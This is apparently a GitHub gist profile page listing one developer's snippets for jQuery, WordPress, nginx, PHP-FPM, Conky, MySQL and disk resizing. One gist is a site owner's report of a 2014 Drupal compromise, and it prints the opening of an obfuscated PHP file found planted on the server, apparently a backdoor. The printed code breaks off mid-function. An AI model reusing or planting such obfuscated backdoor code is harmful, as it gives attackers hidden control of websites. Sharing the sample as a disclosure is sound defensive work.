Skip to content

Instantly share code, notes, and snippets.

View Strae's full-sized avatar
🎯
Focusing

Daniele P. Strae

🎯
Focusing
View GitHub Profile
@Strae
Strae / gist:e055f7285f5fd6b7c069
Created July 25, 2014 08:34
Adding custom htlm elements to chosen
// chosen.jquery.js, function Chosen.prototype.set_up_html, add this in row 582
if('undefined' !== this.options.afterContent){
var afterContent = jQuery(document.createElement('div'))
.addClass('chosen-after-content')
.html(this.options.afterContent);
this.container.find('ul.chosen-results').after(afterContent);
}
// then add your custom html like
jQuery("#foo").chosen({
@Strae
Strae / stats7.php
Created October 31, 2014 09:25
Drupal 7 attack october 2014
My host just blocked one of my drupal7 websistes for being use for massive spam.
Analyzing my access log, i found two script being called often and there are not a Drupal scripts:
/sites/all/modules/i18n/i18n_block/stats7.php
/modules/file/bs63d8.php
/sites/all/modules/i18n/i18n_block/stats7.php:
<?php
$vNWZ3B7 = Array('1'=>'6', '0'=>'e', '3'=>'8', '2'=>'L', '5'=>'v', '4'=>'M', '7'=>'2', '6'=>'s', '9'=>'r', '8'=>'q', 'A'=>'l', 'C'=>'Y', 'B'=>'S', 'E'=>'K', 'D'=>'n', 'G'=>'T', 'F'=>'C', 'I'=>'y', 'H'=>'t', 'K'=>'G', 'J'=>'9', 'M'=>'k', 'L'=>'w', 'O'=>'H', 'N'=>'x', 'Q'=>'m', 'P'=>'E', 'S'=>'j', 'R'=>'O', 'U'=>'7', 'T'=>'4', 'W'=>'X', 'V'=>'D', 'Y'=>'d', 'X'=>'Z', 'Z'=>'I', 'a'=>'z', 'c'=>'R', 'b'=>'0', 'e'=>'B', 'd'=>'N', 'g'=>'h', 'f'=>'P', 'i'=>'o', 'h'=>'W', 'k'=>'c', 'j'=>'3', 'm'=>'A', 'l'=>'a', 'o'=>'f', 'n'=>'p', 'q'=>'F', 'p'=>'b', 's'=>'5', 'r'=>'g', 'u'=>'J', 't'=>'u', 'w'=>'U', 'v'=>'V', 'y'=>'Q', 'x'=>'1', 'z'=>'i');
function v5T7ETO($vQF6A3S, $vP8XOME){$v8YITRE = ''; for($i=0; $i < strlen($vQF6A
@Strae
Strae / Wordpress domain name change
Created February 18, 2016 16:12
Commands to change the domain of a wordpress site acting on the database.
# Remember to escape the dots!! example.com become example\.com
# db.sql the original wordpress db
# dump_02.sql the final one
# cmon its kinda easy, this is just a reminder.
sed 's|http://OLD|http://NEW|g' db.sql > dump_01.sql
sed 's|OLD|NEW|g' dump_01.sql > dump_02.sql
@Strae
Strae / conkybars.lua
Created April 16, 2016 22:51
Conky bars configuration
--[[
conky vertical bar graph
by iggykoopa mods by arpinux(2009)
most of the credit goes to londonali1010, I stole big chunks from her ring graphs
]]
require 'cairo'
@Strae
Strae / TEMPLATE.conf
Created April 27, 2016 11:58
PHP5 FPM simpliest pool config
[POOL]
listen = /var/run/php5.POOL.sock
listen.owner = www-data
listen.group = www-data
user = USER
group = USER
pm = dynamic
pm.max_children = 5
@Strae
Strae / debugger.js
Last active May 13, 2016 10:09
Js debug utilities
// This small function is somewhere in my code, only purpose is to keep the snippet as small as possible
// Return the line number from a new Error().stack element.
function _dl(s){
return "\n\t=>\t[" + s.toString()
.split(/\r\n|\n/)[1] // get the line
.split(/(.*)\((.*)\)(0*)/)[2] // filepath, line number
+ ']';
}
// ..becose chrome console sometimes jerks with line numbers.
@Strae
Strae / nginx.conf
Last active May 16, 2016 10:46
Defualt debian 8 ngunx.conf (clean after-install)
user www-data;
worker_processes 4;
pid /run/nginx.pid;
events {
worker_connections 768;
# multi_accept on;
}
http {
@Strae
Strae / watch.sql
Created May 30, 2016 16:44
Watch mkysql select query
watch -n .1 "echo 'QUERY_STATEMENT' | mysql -u DBUSER -pDBPASS DBNAME"
@Strae
Strae / zang.sh
Created June 28, 2016 08:09
Cloudatcost CloudPro resize hard disk (Debian)
lastpart=`fdisk -l /dev/sda | grep sda |tail -1 |awk '{ print $1 }' |grep -o "[0-9]"`
newpart=`expr $lastpart + 1`
startsec=`parted /dev/sda unit s print free |tail -2 |grep Free |awk '{ print $1 }'`
endsec=`parted /dev/sda unit s print free |tail -2 |grep Free |awk '{ print $2 }'`
parted /dev/sda mkpart primary ext2 $startsec $endsec
parted /dev/sda set $newpart lvm on
partx -v -a /dev/sda
pvcreate /dev/sda$newpart
vgname=`vgdisplay |grep "VG Name" |awk '{ print $3 }'`
vgextend $vgname /dev/sda$newpart
@Strae
Strae / menu.sql
Created August 26, 2016 10:24
Wordpress menu sql
SELECT
p.ID,
m.meta_value,
md.post_author,
wp_users.user_nicename,
p.post_parent,
p.menu_order,
md.post_title
FROM
wp_posts AS p